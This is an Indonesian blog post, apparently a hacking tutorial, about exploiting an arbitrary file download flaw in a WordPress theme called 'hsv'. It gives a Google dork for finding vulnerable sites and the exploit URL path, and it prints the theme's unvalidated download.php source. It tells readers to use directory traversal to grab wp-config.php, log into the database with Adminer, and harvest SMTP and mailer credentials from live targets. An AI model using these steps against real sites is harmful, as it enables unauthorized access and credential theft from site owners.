WordPress themes dreamsmiths - Arbitrary File Download

-
Hai sobat.
Saya ikal,
Disini saya akan share sesuatu.
-

Artikel sebelumnya, kita sudah membahas tentang Arbitrary file download. Kali ini kita akan membahasnya lagi.

Jadi kali ini kita akan bahas Arbitrary file download lagi mungkin di artikel sebelumnya kalian belum begitu mengerti, jadi kita perdalam lagi.


Gak tau ini WordPress themes baru, atau emang ini themes jarang dipakai. 

Bahan : 
Dork : 
inurl:/wp-content/themes/hsv/
Exploit : 
/download.php?file=download.php

Exploit sesudah parameter file= bisa kalian ganti menjadi index.php atau bisa melakukan directory traversal dan mengakses /wp-config.php



Sekarang kita coba mendownload sebuah file. Disini saya coba download file download.php



Dan file berhasil didownload, yang menandakan fungsi readfile atau sejenisnya tidak difilter.

Sekarang kita buka, dan coba lihat source code dari file download.php nya. Disini saya lihat dari app anwriter yah


Dan mendapatkan 

<?php

$filename = $_GET['file'];

// required for IE, otherwise Content-disposition is ignored
if(ini_get('zlib.output_compression'))
  ini_set('zlib.output_compression', 'Off');

// addition by Jorg Weske
$file_extension = strtolower(substr(strrchr($filename,"."),1));

if( $filename == "" ) 
{
  echo "<html><title>HS&amp;V Hospitality Management</title><body>ERROR: download file NOT SPECIFIED. USE force-download.php?file=filepath</body></html>";
  exit;
} elseif ( ! file_exists( $filename ) ) 
{
  echo "<html><title>HS&amp;V Hospitality Management</title><body>ERROR: File not found. USE force-download.php?file=filepath</body></html>";
  exit;
};
switch( $file_extension )
{
  case "pdf": $ctype="application/pdf"; break;
  case "exe": $ctype="application/octet-stream"; break;
  case "zip": $ctype="application/zip"; break;
  case "doc": $ctype="application/msword"; break;
  case "xls": $ctype="application/vnd.ms-excel"; break;
  case "csv": $ctype="application/vnd.ms-excel"; break;
  case "ppt": $ctype="application/vnd.ms-powerpoint"; break;
  case "gif": $ctype="image/gif"; break;
  case "png": $ctype="image/png"; break;
  case "jpeg":
  case "jpg": $ctype="image/jpg"; break;
  default: $ctype="application/force-download";
}
header("Pragma: public"); // required
header("Expires: 0");
header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
header("Cache-Control: private",false); // required for certain browsers 
header("Content-Type: $ctype");
// change, added quotes to allow spaces in filenames, by Rajkumar Singh
header("Content-Disposition: attachment; filename=\"".basename($filename)."\";" );
header("Content-Transfer-Encoding: binary");
header("Content-Length: ".filesize($filename));

function readfile_chunked($filename,$retbytes=true) { 
   $chunksize = 1*(1024*1024); // how many bytes per chunk 
   $buffer = ''; 
   $cnt = 0; 
   $handle = fopen($filename, 'rb'); 
   if ($handle === false) { 
       return false; 
   } 
   while (!feof($handle)) { 
       $buffer = fread($handle, $chunksize); 
       echo $buffer; 
       ob_flush(); 
       flush(); 
       if ($retbytes) { 
           $cnt += strlen($buffer); 
       } 
   } 
       $status = fclose($handle); 
   if ($retbytes && $status) { 
       return $cnt; // return num. bytes delivered like readfile() does. 
   } 
   return $status; 
}

readfile_chunked($filename);
exit();

?>

Fiola..... berhasil.
Selanjutnya kalian hanya perlu melakukan directory traversal dan download file /wp-config.php

Namun live target diatas memiliki waf yah


Lalu akses adminer dilocalhost dan login dengan db_user,db_pass,host,dan db_name.

Penjelasan terakhir.
Bug ini cocok buat kalian untuk hunting smtp,config,mailer tanpa harus merusak.
Karena kalian hanya perlu mencari letak file dbconnect atau config berada :'D.

Sekian
Wassalamu'alaikum warahmatullahi wabarakatu.
See u